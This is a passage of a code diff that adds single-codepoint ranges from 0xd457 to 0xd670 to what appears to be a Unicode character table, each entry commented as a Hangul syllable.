+ [0xd457, 0xd457], /* Hangul Syllable */
+ [0xd458, 0xd458], /* Hangul Syllable */
+ [0xd459, 0xd459], /* Hangul Syllable */
+ [0xd45a, 0xd45a], /* Hangul Syllable */
+ [0xd45b, 0xd45b], /* Hangul Syllable */
+ [0xd45c, 0xd45c], /* Hangul Syllable */
+ [0xd45d, 0xd45d], /* Hangul Syllable */
+ [0xd45e, 0xd45e], /* Hangul Syllable */
+ [0xd45f, 0xd45f], /* Hangul Syllable */
+ [0xd460, 0xd460], /* Hangul Syllable */
+ [0xd461, 0xd461], /* Hangul Syllable */
+ [0xd462, 0xd462], /* Hangul Syllable */
+ [0xd463, 0xd463], /* Hangul Syllable */
+ [0xd464, 0xd464], /* Hangul Syllable */
+ [0xd465, 0xd465], /* Hangul Syllable */
+ [0xd466, 0xd466], /* Hangul Syllable */
+ [0xd467, 0xd467], /* Hangul Syllable */
+ [0xd468, 0xd468], /* Hangul Syllable */
+ [0xd469, 0xd469], /* Hangul Syllable */
+ [0xd46a, 0xd46a], /* Hangul Syllable */
+ [0xd46b, 0xd46b], /* Hangul Syllable */
+ [0xd46c, 0xd46c], /* Hangul Syllable */
+ [0xd46d, 0xd46d], /* Hangul Syllable */
+ [0xd46e, 0xd46e], /* Hangul Syllable */
+ [0xd46f, 0xd46f], /* Hangul Syllable */
+ [0xd470, 0xd470], /* Hangul Syllable */
+ [0xd471, 0xd471], /* Hangul Syllable */
+ [0xd472, 0xd472], /* Hangul Syllable */
+ [0xd473, 0xd473], /* Hangul Syllable */
+ [0xd474, 0xd474], /* Hangul Syllable */
+ [0xd475, 0xd475], /* Hangul Syllable */
+ [0xd476, 0xd476], /* Hangul Syllable */
+ [0xd477, 0xd477], /* Hangul Syllable */
+ [0xd478, 0xd478], /* Hangul Syllable */
+ [0xd479, 0xd479], /* Hangul Syllable */
+ [0xd47a, 0xd47a], /* Hangul Syllable */
+ [0xd47b, 0xd47b], /* Hangul Syllable */
+ [0xd47c, 0xd47c], /* Hangul Syllable */
+ [0xd47d, 0xd47d], /* Hangul Syllable */
+ [0xd47e, 0xd47e], /* Hangul Syllable */
+ [0xd47f, 0xd47f], /* Hangul Syllable */
+ [0xd480, 0xd480], /* Hangul Syllable */
+ [0xd481, 0xd481], /* Hangul Syllable */
+ [0xd482, 0xd482], /* Hangul Syllable */
+ [0xd483, 0xd483], /* Hangul Syllable */
+ [0xd484, 0xd484], /* Hangul Syllable */
+ [0xd485, 0xd485], /* Hangul Syllable */
+ [0xd486, 0xd486], /* Hangul Syllable */
+ [0xd487, 0xd487], /* Hangul Syllable */
+ [0xd488, 0xd488], /* Hangul Syllable */
+ [0xd489, 0xd489], /* Hangul Syllable */
+ [0xd48a, 0xd48a], /* Hangul Syllable */
+ [0xd48b, 0xd48b], /* Hangul Syllable */
+ [0xd48c, 0xd48c], /* Hangul Syllable */
+ [0xd48d, 0xd48d], /* Hangul Syllable */
+ [0xd48e, 0xd48e], /* Hangul Syllable */
+ [0xd48f, 0xd48f], /* Hangul Syllable */
+ [0xd490, 0xd490], /* Hangul Syllable */
+ [0xd491, 0xd491], /* Hangul Syllable */
+ [0xd492, 0xd492], /* Hangul Syllable */
+ [0xd493, 0xd493], /* Hangul Syllable */
+ [0xd494, 0xd494], /* Hangul Syllable */
+ [0xd495, 0xd495], /* Hangul Syllable */
+ [0xd496, 0xd496], /* Hangul Syllable */
+ [0xd497, 0xd497], /* Hangul Syllable */
+ [0xd498, 0xd498], /* Hangul Syllable */
+ [0xd499, 0xd499], /* Hangul Syllable */
+ [0xd49a, 0xd49a], /* Hangul Syllable */
+ [0xd49b, 0xd49b], /* Hangul Syllable */
+ [0xd49c, 0xd49c], /* Hangul Syllable */
+ [0xd49d, 0xd49d], /* Hangul Syllable */
+ [0xd49e, 0xd49e], /* Hangul Syllable */
+ [0xd49f, 0xd49f], /* Hangul Syllable */
+ [0xd4a0, 0xd4a0], /* Hangul Syllable */
+ [0xd4a1, 0xd4a1], /* Hangul Syllable */
+ [0xd4a2, 0xd4a2], /* Hangul Syllable */
+ [0xd4a3, 0xd4a3], /* Hangul Syllable */
+ [0xd4a4, 0xd4a4], /* Hangul Syllable */
+ [0xd4a5, 0xd4a5], /* Hangul Syllable */
+ [0xd4a6, 0xd4a6], /* Hangul Syllable */
+ [0xd4a7, 0xd4a7], /* Hangul Syllable */
+ [0xd4a8, 0xd4a8], /* Hangul Syllable */
+ [0xd4a9, 0xd4a9], /* Hangul Syllable */
+ [0xd4aa, 0xd4aa], /* Hangul Syllable */
+ [0xd4ab, 0xd4ab], /* Hangul Syllable */
+ [0xd4ac, 0xd4ac], /* Hangul Syllable */
+ [0xd4ad, 0xd4ad], /* Hangul Syllable */
+ [0xd4ae, 0xd4ae], /* Hangul Syllable */
+ [0xd4af, 0xd4af], /* Hangul Syllable */
+ [0xd4b0, 0xd4b0], /* Hangul Syllable */
+ [0xd4b1, 0xd4b1], /* Hangul Syllable */
+ [0xd4b2, 0xd4b2], /* Hangul Syllable */
+ [0xd4b3, 0xd4b3], /* Hangul Syllable */
+ [0xd4b4, 0xd4b4], /* Hangul Syllable */
+ [0xd4b5, 0xd4b5], /* Hangul Syllable */
+ [0xd4b6, 0xd4b6], /* Hangul Syllable */
+ [0xd4b7, 0xd4b7], /* Hangul Syllable */
+ [0xd4b8, 0xd4b8], /* Hangul Syllable */
+ [0xd4b9, 0xd4b9], /* Hangul Syllable */
+ [0xd4ba, 0xd4ba], /* Hangul Syllable */
+ [0xd4bb, 0xd4bb], /* Hangul Syllable */
+ [0xd4bc, 0xd4bc], /* Hangul Syllable */
+ [0xd4bd, 0xd4bd], /* Hangul Syllable */
+ [0xd4be, 0xd4be], /* Hangul Syllable */
+ [0xd4bf, 0xd4bf], /* Hangul Syllable */
+ [0xd4c0, 0xd4c0], /* Hangul Syllable */
+ [0xd4c1, 0xd4c1], /* Hangul Syllable */
+ [0xd4c2, 0xd4c2], /* Hangul Syllable */
+ [0xd4c3, 0xd4c3], /* Hangul Syllable */
+ [0xd4c4, 0xd4c4], /* Hangul Syllable */
+ [0xd4c5, 0xd4c5], /* Hangul Syllable */
+ [0xd4c6, 0xd4c6], /* Hangul Syllable */
+ [0xd4c7, 0xd4c7], /* Hangul Syllable */
+ [0xd4c8, 0xd4c8], /* Hangul Syllable */
+ [0xd4c9, 0xd4c9], /* Hangul Syllable */
+ [0xd4ca, 0xd4ca], /* Hangul Syllable */
+ [0xd4cb, 0xd4cb], /* Hangul Syllable */
+ [0xd4cc, 0xd4cc], /* Hangul Syllable */
+ [0xd4cd, 0xd4cd], /* Hangul Syllable */
+ [0xd4ce, 0xd4ce], /* Hangul Syllable */
+ [0xd4cf, 0xd4cf], /* Hangul Syllable */
+ [0xd4d0, 0xd4d0], /* Hangul Syllable */
+ [0xd4d1, 0xd4d1], /* Hangul Syllable */
+ [0xd4d2, 0xd4d2], /* Hangul Syllable */
+ [0xd4d3, 0xd4d3], /* Hangul Syllable */
+ [0xd4d4, 0xd4d4], /* Hangul Syllable */
+ [0xd4d5, 0xd4d5], /* Hangul Syllable */
+ [0xd4d6, 0xd4d6], /* Hangul Syllable */
+ [0xd4d7, 0xd4d7], /* Hangul Syllable */
+ [0xd4d8, 0xd4d8], /* Hangul Syllable */
+ [0xd4d9, 0xd4d9], /* Hangul Syllable */
+ [0xd4da, 0xd4da], /* Hangul Syllable */
+ [0xd4db, 0xd4db], /* Hangul Syllable */
+ [0xd4dc, 0xd4dc], /* Hangul Syllable */
+ [0xd4dd, 0xd4dd], /* Hangul Syllable */
+ [0xd4de, 0xd4de], /* Hangul Syllable */
+ [0xd4df, 0xd4df], /* Hangul Syllable */
+ [0xd4e0, 0xd4e0], /* Hangul Syllable */
+ [0xd4e1, 0xd4e1], /* Hangul Syllable */
+ [0xd4e2, 0xd4e2], /* Hangul Syllable */
+ [0xd4e3, 0xd4e3], /* Hangul Syllable */
+ [0xd4e4, 0xd4e4], /* Hangul Syllable */
+ [0xd4e5, 0xd4e5], /* Hangul Syllable */
+ [0xd4e6, 0xd4e6], /* Hangul Syllable */
+ [0xd4e7, 0xd4e7], /* Hangul Syllable */
+ [0xd4e8, 0xd4e8], /* Hangul Syllable */
+ [0xd4e9, 0xd4e9], /* Hangul Syllable */
+ [0xd4ea, 0xd4ea], /* Hangul Syllable */
+ [0xd4eb, 0xd4eb], /* Hangul Syllable */
+ [0xd4ec, 0xd4ec], /* Hangul Syllable */
+ [0xd4ed, 0xd4ed], /* Hangul Syllable */
+ [0xd4ee, 0xd4ee], /* Hangul Syllable */
+ [0xd4ef, 0xd4ef], /* Hangul Syllable */
+ [0xd4f0, 0xd4f0], /* Hangul Syllable */
+ [0xd4f1, 0xd4f1], /* Hangul Syllable */
+ [0xd4f2, 0xd4f2], /* Hangul Syllable */
+ [0xd4f3, 0xd4f3], /* Hangul Syllable */
+ [0xd4f4, 0xd4f4], /* Hangul Syllable */
+ [0xd4f5, 0xd4f5], /* Hangul Syllable */
+ [0xd4f6, 0xd4f6], /* Hangul Syllable */
+ [0xd4f7, 0xd4f7], /* Hangul Syllable */
+ [0xd4f8, 0xd4f8], /* Hangul Syllable */
+ [0xd4f9, 0xd4f9], /* Hangul Syllable */
+ [0xd4fa, 0xd4fa], /* Hangul Syllable */
+ [0xd4fb, 0xd4fb], /* Hangul Syllable */
+ [0xd4fc, 0xd4fc], /* Hangul Syllable */
+ [0xd4fd, 0xd4fd], /* Hangul Syllable */
+ [0xd4fe, 0xd4fe], /* Hangul Syllable */
+ [0xd4ff, 0xd4ff], /* Hangul Syllable */
+ [0xd500, 0xd500], /* Hangul Syllable */
+ [0xd501, 0xd501], /* Hangul Syllable */
+ [0xd502, 0xd502], /* Hangul Syllable */
+ [0xd503, 0xd503], /* Hangul Syllable */
+ [0xd504, 0xd504], /* Hangul Syllable */
+ [0xd505, 0xd505], /* Hangul Syllable */
+ [0xd506, 0xd506], /* Hangul Syllable */
+ [0xd507, 0xd507], /* Hangul Syllable */
+ [0xd508, 0xd508], /* Hangul Syllable */
+ [0xd509, 0xd509], /* Hangul Syllable */
+ [0xd50a, 0xd50a], /* Hangul Syllable */
+ [0xd50b, 0xd50b], /* Hangul Syllable */
+ [0xd50c, 0xd50c], /* Hangul Syllable */
+ [0xd50d, 0xd50d], /* Hangul Syllable */
+ [0xd50e, 0xd50e], /* Hangul Syllable */
+ [0xd50f, 0xd50f], /* Hangul Syllable */
+ [0xd510, 0xd510], /* Hangul Syllable */
+ [0xd511, 0xd511], /* Hangul Syllable */
+ [0xd512, 0xd512], /* Hangul Syllable */
+ [0xd513, 0xd513], /* Hangul Syllable */
+ [0xd514, 0xd514], /* Hangul Syllable */
+ [0xd515, 0xd515], /* Hangul Syllable */
+ [0xd516, 0xd516], /* Hangul Syllable */
+ [0xd517, 0xd517], /* Hangul Syllable */
+ [0xd518, 0xd518], /* Hangul Syllable */
+ [0xd519, 0xd519], /* Hangul Syllable */
+ [0xd51a, 0xd51a], /* Hangul Syllable */
+ [0xd51b, 0xd51b], /* Hangul Syllable */
+ [0xd51c, 0xd51c], /* Hangul Syllable */
+ [0xd51d, 0xd51d], /* Hangul Syllable */
+ [0xd51e, 0xd51e], /* Hangul Syllable */
+ [0xd51f, 0xd51f], /* Hangul Syllable */
+ [0xd520, 0xd520], /* Hangul Syllable */
+ [0xd521, 0xd521], /* Hangul Syllable */
+ [0xd522, 0xd522], /* Hangul Syllable */
+ [0xd523, 0xd523], /* Hangul Syllable */
+ [0xd524, 0xd524], /* Hangul Syllable */
+ [0xd525, 0xd525], /* Hangul Syllable */
+ [0xd526, 0xd526], /* Hangul Syllable */
+ [0xd527, 0xd527], /* Hangul Syllable */
+ [0xd528, 0xd528], /* Hangul Syllable */
+ [0xd529, 0xd529], /* Hangul Syllable */
+ [0xd52a, 0xd52a], /* Hangul Syllable */
+ [0xd52b, 0xd52b], /* Hangul Syllable */
+ [0xd52c, 0xd52c], /* Hangul Syllable */
+ [0xd52d, 0xd52d], /* Hangul Syllable */
+ [0xd52e, 0xd52e], /* Hangul Syllable */
+ [0xd52f, 0xd52f], /* Hangul Syllable */
+ [0xd530, 0xd530], /* Hangul Syllable */
+ [0xd531, 0xd531], /* Hangul Syllable */
+ [0xd532, 0xd532], /* Hangul Syllable */
+ [0xd533, 0xd533], /* Hangul Syllable */
+ [0xd534, 0xd534], /* Hangul Syllable */
+ [0xd535, 0xd535], /* Hangul Syllable */
+ [0xd536, 0xd536], /* Hangul Syllable */
+ [0xd537, 0xd537], /* Hangul Syllable */
+ [0xd538, 0xd538], /* Hangul Syllable */
+ [0xd539, 0xd539], /* Hangul Syllable */
+ [0xd53a, 0xd53a], /* Hangul Syllable */
+ [0xd53b, 0xd53b], /* Hangul Syllable */
+ [0xd53c, 0xd53c], /* Hangul Syllable */
+ [0xd53d, 0xd53d], /* Hangul Syllable */
+ [0xd53e, 0xd53e], /* Hangul Syllable */
+ [0xd53f, 0xd53f], /* Hangul Syllable */
+ [0xd540, 0xd540], /* Hangul Syllable */
+ [0xd541, 0xd541], /* Hangul Syllable */
+ [0xd542, 0xd542], /* Hangul Syllable */
+ [0xd543, 0xd543], /* Hangul Syllable */
+ [0xd544, 0xd544], /* Hangul Syllable */
+ [0xd545, 0xd545], /* Hangul Syllable */
+ [0xd546, 0xd546], /* Hangul Syllable */
+ [0xd547, 0xd547], /* Hangul Syllable */
+ [0xd548, 0xd548], /* Hangul Syllable */
+ [0xd549, 0xd549], /* Hangul Syllable */
+ [0xd54a, 0xd54a], /* Hangul Syllable */
+ [0xd54b, 0xd54b], /* Hangul Syllable */
+ [0xd54c, 0xd54c], /* Hangul Syllable */
+ [0xd54d, 0xd54d], /* Hangul Syllable */
+ [0xd54e, 0xd54e], /* Hangul Syllable */
+ [0xd54f, 0xd54f], /* Hangul Syllable */
+ [0xd550, 0xd550], /* Hangul Syllable */
+ [0xd551, 0xd551], /* Hangul Syllable */
+ [0xd552, 0xd552], /* Hangul Syllable */
+ [0xd553, 0xd553], /* Hangul Syllable */
+ [0xd554, 0xd554], /* Hangul Syllable */
+ [0xd555, 0xd555], /* Hangul Syllable */
+ [0xd556, 0xd556], /* Hangul Syllable */
+ [0xd557, 0xd557], /* Hangul Syllable */
+ [0xd558, 0xd558], /* Hangul Syllable */
+ [0xd559, 0xd559], /* Hangul Syllable */
+ [0xd55a, 0xd55a], /* Hangul Syllable */
+ [0xd55b, 0xd55b], /* Hangul Syllable */
+ [0xd55c, 0xd55c], /* Hangul Syllable */
+ [0xd55d, 0xd55d], /* Hangul Syllable */
+ [0xd55e, 0xd55e], /* Hangul Syllable */
+ [0xd55f, 0xd55f], /* Hangul Syllable */
+ [0xd560, 0xd560], /* Hangul Syllable */
+ [0xd561, 0xd561], /* Hangul Syllable */
+ [0xd562, 0xd562], /* Hangul Syllable */
+ [0xd563, 0xd563], /* Hangul Syllable */
+ [0xd564, 0xd564], /* Hangul Syllable */
+ [0xd565, 0xd565], /* Hangul Syllable */
+ [0xd566, 0xd566], /* Hangul Syllable */
+ [0xd567, 0xd567], /* Hangul Syllable */
+ [0xd568, 0xd568], /* Hangul Syllable */
+ [0xd569, 0xd569], /* Hangul Syllable */
+ [0xd56a, 0xd56a], /* Hangul Syllable */
+ [0xd56b, 0xd56b], /* Hangul Syllable */
+ [0xd56c, 0xd56c], /* Hangul Syllable */
+ [0xd56d, 0xd56d], /* Hangul Syllable */
+ [0xd56e, 0xd56e], /* Hangul Syllable */
+ [0xd56f, 0xd56f], /* Hangul Syllable */
+ [0xd570, 0xd570], /* Hangul Syllable */
+ [0xd571, 0xd571], /* Hangul Syllable */
+ [0xd572, 0xd572], /* Hangul Syllable */
+ [0xd573, 0xd573], /* Hangul Syllable */
+ [0xd574, 0xd574], /* Hangul Syllable */
+ [0xd575, 0xd575], /* Hangul Syllable */
+ [0xd576, 0xd576], /* Hangul Syllable */
+ [0xd577, 0xd577], /* Hangul Syllable */
+ [0xd578, 0xd578], /* Hangul Syllable */
+ [0xd579, 0xd579], /* Hangul Syllable */
+ [0xd57a, 0xd57a], /* Hangul Syllable */
+ [0xd57b, 0xd57b], /* Hangul Syllable */
+ [0xd57c, 0xd57c], /* Hangul Syllable */
+ [0xd57d, 0xd57d], /* Hangul Syllable */
+ [0xd57e, 0xd57e], /* Hangul Syllable */
+ [0xd57f, 0xd57f], /* Hangul Syllable */
+ [0xd580, 0xd580], /* Hangul Syllable */
+ [0xd581, 0xd581], /* Hangul Syllable */
+ [0xd582, 0xd582], /* Hangul Syllable */
+ [0xd583, 0xd583], /* Hangul Syllable */
+ [0xd584, 0xd584], /* Hangul Syllable */
+ [0xd585, 0xd585], /* Hangul Syllable */
+ [0xd586, 0xd586], /* Hangul Syllable */
+ [0xd587, 0xd587], /* Hangul Syllable */
+ [0xd588, 0xd588], /* Hangul Syllable */
+ [0xd589, 0xd589], /* Hangul Syllable */
+ [0xd58a, 0xd58a], /* Hangul Syllable */
+ [0xd58b, 0xd58b], /* Hangul Syllable */
+ [0xd58c, 0xd58c], /* Hangul Syllable */
+ [0xd58d, 0xd58d], /* Hangul Syllable */
+ [0xd58e, 0xd58e], /* Hangul Syllable */
+ [0xd58f, 0xd58f], /* Hangul Syllable */
+ [0xd590, 0xd590], /* Hangul Syllable */
+ [0xd591, 0xd591], /* Hangul Syllable */
+ [0xd592, 0xd592], /* Hangul Syllable */
+ [0xd593, 0xd593], /* Hangul Syllable */
+ [0xd594, 0xd594], /* Hangul Syllable */
+ [0xd595, 0xd595], /* Hangul Syllable */
+ [0xd596, 0xd596], /* Hangul Syllable */
+ [0xd597, 0xd597], /* Hangul Syllable */
+ [0xd598, 0xd598], /* Hangul Syllable */
+ [0xd599, 0xd599], /* Hangul Syllable */
+ [0xd59a, 0xd59a], /* Hangul Syllable */
+ [0xd59b, 0xd59b], /* Hangul Syllable */
+ [0xd59c, 0xd59c], /* Hangul Syllable */
+ [0xd59d, 0xd59d], /* Hangul Syllable */
+ [0xd59e, 0xd59e], /* Hangul Syllable */
+ [0xd59f, 0xd59f], /* Hangul Syllable */
+ [0xd5a0, 0xd5a0], /* Hangul Syllable */
+ [0xd5a1, 0xd5a1], /* Hangul Syllable */
+ [0xd5a2, 0xd5a2], /* Hangul Syllable */
+ [0xd5a3, 0xd5a3], /* Hangul Syllable */
+ [0xd5a4, 0xd5a4], /* Hangul Syllable */
+ [0xd5a5, 0xd5a5], /* Hangul Syllable */
+ [0xd5a6, 0xd5a6], /* Hangul Syllable */
+ [0xd5a7, 0xd5a7], /* Hangul Syllable */
+ [0xd5a8, 0xd5a8], /* Hangul Syllable */
+ [0xd5a9, 0xd5a9], /* Hangul Syllable */
+ [0xd5aa, 0xd5aa], /* Hangul Syllable */
+ [0xd5ab, 0xd5ab], /* Hangul Syllable */
+ [0xd5ac, 0xd5ac], /* Hangul Syllable */
+ [0xd5ad, 0xd5ad], /* Hangul Syllable */
+ [0xd5ae, 0xd5ae], /* Hangul Syllable */
+ [0xd5af, 0xd5af], /* Hangul Syllable */
+ [0xd5b0, 0xd5b0], /* Hangul Syllable */
+ [0xd5b1, 0xd5b1], /* Hangul Syllable */
+ [0xd5b2, 0xd5b2], /* Hangul Syllable */
+ [0xd5b3, 0xd5b3], /* Hangul Syllable */
+ [0xd5b4, 0xd5b4], /* Hangul Syllable */
+ [0xd5b5, 0xd5b5], /* Hangul Syllable */
+ [0xd5b6, 0xd5b6], /* Hangul Syllable */
+ [0xd5b7, 0xd5b7], /* Hangul Syllable */
+ [0xd5b8, 0xd5b8], /* Hangul Syllable */
+ [0xd5b9, 0xd5b9], /* Hangul Syllable */
+ [0xd5ba, 0xd5ba], /* Hangul Syllable */
+ [0xd5bb, 0xd5bb], /* Hangul Syllable */
+ [0xd5bc, 0xd5bc], /* Hangul Syllable */
+ [0xd5bd, 0xd5bd], /* Hangul Syllable */
+ [0xd5be, 0xd5be], /* Hangul Syllable */
+ [0xd5bf, 0xd5bf], /* Hangul Syllable */
+ [0xd5c0, 0xd5c0], /* Hangul Syllable */
+ [0xd5c1, 0xd5c1], /* Hangul Syllable */
+ [0xd5c2, 0xd5c2], /* Hangul Syllable */
+ [0xd5c3, 0xd5c3], /* Hangul Syllable */
+ [0xd5c4, 0xd5c4], /* Hangul Syllable */
+ [0xd5c5, 0xd5c5], /* Hangul Syllable */
+ [0xd5c6, 0xd5c6], /* Hangul Syllable */
+ [0xd5c7, 0xd5c7], /* Hangul Syllable */
+ [0xd5c8, 0xd5c8], /* Hangul Syllable */
+ [0xd5c9, 0xd5c9], /* Hangul Syllable */
+ [0xd5ca, 0xd5ca], /* Hangul Syllable */
+ [0xd5cb, 0xd5cb], /* Hangul Syllable */
+ [0xd5cc, 0xd5cc], /* Hangul Syllable */
+ [0xd5cd, 0xd5cd], /* Hangul Syllable */
+ [0xd5ce, 0xd5ce], /* Hangul Syllable */
+ [0xd5cf, 0xd5cf], /* Hangul Syllable */
+ [0xd5d0, 0xd5d0], /* Hangul Syllable */
+ [0xd5d1, 0xd5d1], /* Hangul Syllable */
+ [0xd5d2, 0xd5d2], /* Hangul Syllable */
+ [0xd5d3, 0xd5d3], /* Hangul Syllable */
+ [0xd5d4, 0xd5d4], /* Hangul Syllable */
+ [0xd5d5, 0xd5d5], /* Hangul Syllable */
+ [0xd5d6, 0xd5d6], /* Hangul Syllable */
+ [0xd5d7, 0xd5d7], /* Hangul Syllable */
+ [0xd5d8, 0xd5d8], /* Hangul Syllable */
+ [0xd5d9, 0xd5d9], /* Hangul Syllable */
+ [0xd5da, 0xd5da], /* Hangul Syllable */
+ [0xd5db, 0xd5db], /* Hangul Syllable */
+ [0xd5dc, 0xd5dc], /* Hangul Syllable */
+ [0xd5dd, 0xd5dd], /* Hangul Syllable */
+ [0xd5de, 0xd5de], /* Hangul Syllable */
+ [0xd5df, 0xd5df], /* Hangul Syllable */
+ [0xd5e0, 0xd5e0], /* Hangul Syllable */
+ [0xd5e1, 0xd5e1], /* Hangul Syllable */
+ [0xd5e2, 0xd5e2], /* Hangul Syllable */
+ [0xd5e3, 0xd5e3], /* Hangul Syllable */
+ [0xd5e4, 0xd5e4], /* Hangul Syllable */
+ [0xd5e5, 0xd5e5], /* Hangul Syllable */
+ [0xd5e6, 0xd5e6], /* Hangul Syllable */
+ [0xd5e7, 0xd5e7], /* Hangul Syllable */
+ [0xd5e8, 0xd5e8], /* Hangul Syllable */
+ [0xd5e9, 0xd5e9], /* Hangul Syllable */
+ [0xd5ea, 0xd5ea], /* Hangul Syllable */
+ [0xd5eb, 0xd5eb], /* Hangul Syllable */
+ [0xd5ec, 0xd5ec], /* Hangul Syllable */
+ [0xd5ed, 0xd5ed], /* Hangul Syllable */
+ [0xd5ee, 0xd5ee], /* Hangul Syllable */
+ [0xd5ef, 0xd5ef], /* Hangul Syllable */
+ [0xd5f0, 0xd5f0], /* Hangul Syllable */
+ [0xd5f1, 0xd5f1], /* Hangul Syllable */
+ [0xd5f2, 0xd5f2], /* Hangul Syllable */
+ [0xd5f3, 0xd5f3], /* Hangul Syllable */
+ [0xd5f4, 0xd5f4], /* Hangul Syllable */
+ [0xd5f5, 0xd5f5], /* Hangul Syllable */
+ [0xd5f6, 0xd5f6], /* Hangul Syllable */
+ [0xd5f7, 0xd5f7], /* Hangul Syllable */
+ [0xd5f8, 0xd5f8], /* Hangul Syllable */
+ [0xd5f9, 0xd5f9], /* Hangul Syllable */
+ [0xd5fa, 0xd5fa], /* Hangul Syllable */
+ [0xd5fb, 0xd5fb], /* Hangul Syllable */
+ [0xd5fc, 0xd5fc], /* Hangul Syllable */
+ [0xd5fd, 0xd5fd], /* Hangul Syllable */
+ [0xd5fe, 0xd5fe], /* Hangul Syllable */
+ [0xd5ff, 0xd5ff], /* Hangul Syllable */
+ [0xd600, 0xd600], /* Hangul Syllable */
+ [0xd601, 0xd601], /* Hangul Syllable */
+ [0xd602, 0xd602], /* Hangul Syllable */
+ [0xd603, 0xd603], /* Hangul Syllable */
+ [0xd604, 0xd604], /* Hangul Syllable */
+ [0xd605, 0xd605], /* Hangul Syllable */
+ [0xd606, 0xd606], /* Hangul Syllable */
+ [0xd607, 0xd607], /* Hangul Syllable */
+ [0xd608, 0xd608], /* Hangul Syllable */
+ [0xd609, 0xd609], /* Hangul Syllable */
+ [0xd60a, 0xd60a], /* Hangul Syllable */
+ [0xd60b, 0xd60b], /* Hangul Syllable */
+ [0xd60c, 0xd60c], /* Hangul Syllable */
+ [0xd60d, 0xd60d], /* Hangul Syllable */
+ [0xd60e, 0xd60e], /* Hangul Syllable */
+ [0xd60f, 0xd60f], /* Hangul Syllable */
+ [0xd610, 0xd610], /* Hangul Syllable */
+ [0xd611, 0xd611], /* Hangul Syllable */
+ [0xd612, 0xd612], /* Hangul Syllable */
+ [0xd613, 0xd613], /* Hangul Syllable */
+ [0xd614, 0xd614], /* Hangul Syllable */
+ [0xd615, 0xd615], /* Hangul Syllable */
+ [0xd616, 0xd616], /* Hangul Syllable */
+ [0xd617, 0xd617], /* Hangul Syllable */
+ [0xd618, 0xd618], /* Hangul Syllable */
+ [0xd619, 0xd619], /* Hangul Syllable */
+ [0xd61a, 0xd61a], /* Hangul Syllable */
+ [0xd61b, 0xd61b], /* Hangul Syllable */
+ [0xd61c, 0xd61c], /* Hangul Syllable */
+ [0xd61d, 0xd61d], /* Hangul Syllable */
+ [0xd61e, 0xd61e], /* Hangul Syllable */
+ [0xd61f, 0xd61f], /* Hangul Syllable */
+ [0xd620, 0xd620], /* Hangul Syllable */
+ [0xd621, 0xd621], /* Hangul Syllable */
+ [0xd622, 0xd622], /* Hangul Syllable */
+ [0xd623, 0xd623], /* Hangul Syllable */
+ [0xd624, 0xd624], /* Hangul Syllable */
+ [0xd625, 0xd625], /* Hangul Syllable */
+ [0xd626, 0xd626], /* Hangul Syllable */
+ [0xd627, 0xd627], /* Hangul Syllable */
+ [0xd628, 0xd628], /* Hangul Syllable */
+ [0xd629, 0xd629], /* Hangul Syllable */
+ [0xd62a, 0xd62a], /* Hangul Syllable */
+ [0xd62b, 0xd62b], /* Hangul Syllable */
+ [0xd62c, 0xd62c], /* Hangul Syllable */
+ [0xd62d, 0xd62d], /* Hangul Syllable */
+ [0xd62e, 0xd62e], /* Hangul Syllable */
+ [0xd62f, 0xd62f], /* Hangul Syllable */
+ [0xd630, 0xd630], /* Hangul Syllable */
+ [0xd631, 0xd631], /* Hangul Syllable */
+ [0xd632, 0xd632], /* Hangul Syllable */
+ [0xd633, 0xd633], /* Hangul Syllable */
+ [0xd634, 0xd634], /* Hangul Syllable */
+ [0xd635, 0xd635], /* Hangul Syllable */
+ [0xd636, 0xd636], /* Hangul Syllable */
+ [0xd637, 0xd637], /* Hangul Syllable */
+ [0xd638, 0xd638], /* Hangul Syllable */
+ [0xd639, 0xd639], /* Hangul Syllable */
+ [0xd63a, 0xd63a], /* Hangul Syllable */
+ [0xd63b, 0xd63b], /* Hangul Syllable */
+ [0xd63c, 0xd63c], /* Hangul Syllable */
+ [0xd63d, 0xd63d], /* Hangul Syllable */
+ [0xd63e, 0xd63e], /* Hangul Syllable */
+ [0xd63f, 0xd63f], /* Hangul Syllable */
+ [0xd640, 0xd640], /* Hangul Syllable */
+ [0xd641, 0xd641], /* Hangul Syllable */
+ [0xd642, 0xd642], /* Hangul Syllable */
+ [0xd643, 0xd643], /* Hangul Syllable */
+ [0xd644, 0xd644], /* Hangul Syllable */
+ [0xd645, 0xd645], /* Hangul Syllable */
+ [0xd646, 0xd646], /* Hangul Syllable */
+ [0xd647, 0xd647], /* Hangul Syllable */
+ [0xd648, 0xd648], /* Hangul Syllable */
+ [0xd649, 0xd649], /* Hangul Syllable */
+ [0xd64a, 0xd64a], /* Hangul Syllable */
+ [0xd64b, 0xd64b], /* Hangul Syllable */
+ [0xd64c, 0xd64c], /* Hangul Syllable */
+ [0xd64d, 0xd64d], /* Hangul Syllable */
+ [0xd64e, 0xd64e], /* Hangul Syllable */
+ [0xd64f, 0xd64f], /* Hangul Syllable */
+ [0xd650, 0xd650], /* Hangul Syllable */
+ [0xd651, 0xd651], /* Hangul Syllable */
+ [0xd652, 0xd652], /* Hangul Syllable */
+ [0xd653, 0xd653], /* Hangul Syllable */
+ [0xd654, 0xd654], /* Hangul Syllable */
+ [0xd655, 0xd655], /* Hangul Syllable */
+ [0xd656, 0xd656], /* Hangul Syllable */
+ [0xd657, 0xd657], /* Hangul Syllable */
+ [0xd658, 0xd658], /* Hangul Syllable */
+ [0xd659, 0xd659], /* Hangul Syllable */
+ [0xd65a, 0xd65a], /* Hangul Syllable */
+ [0xd65b, 0xd65b], /* Hangul Syllable */
+ [0xd65c, 0xd65c], /* Hangul Syllable */
+ [0xd65d, 0xd65d], /* Hangul Syllable */
+ [0xd65e, 0xd65e], /* Hangul Syllable */
+ [0xd65f, 0xd65f], /* Hangul Syllable */
+ [0xd660, 0xd660], /* Hangul Syllable */
+ [0xd661, 0xd661], /* Hangul Syllable */
+ [0xd662, 0xd662], /* Hangul Syllable */
+ [0xd663, 0xd663], /* Hangul Syllable */
+ [0xd664, 0xd664], /* Hangul Syllable */
+ [0xd665, 0xd665], /* Hangul Syllable */
+ [0xd666, 0xd666], /* Hangul Syllable */
+ [0xd667, 0xd667], /* Hangul Syllable */
+ [0xd668, 0xd668], /* Hangul Syllable */
+ [0xd669, 0xd669], /* Hangul Syllable */
+ [0xd66a, 0xd66a], /* Hangul Syllable */
+ [0xd66b, 0xd66b], /* Hangul Syllable */
+ [0xd66c, 0xd66c], /* Hangul Syllable */
+ [0xd66d, 0xd66d], /* Hangul Syllable */
+ [0xd66e, 0xd66e], /* Hangul Syllable */
+ [0xd66f, 0xd66f], /* Hangul Syllable */
+ [0xd670, 0xd670], /* Hangul Syllable */
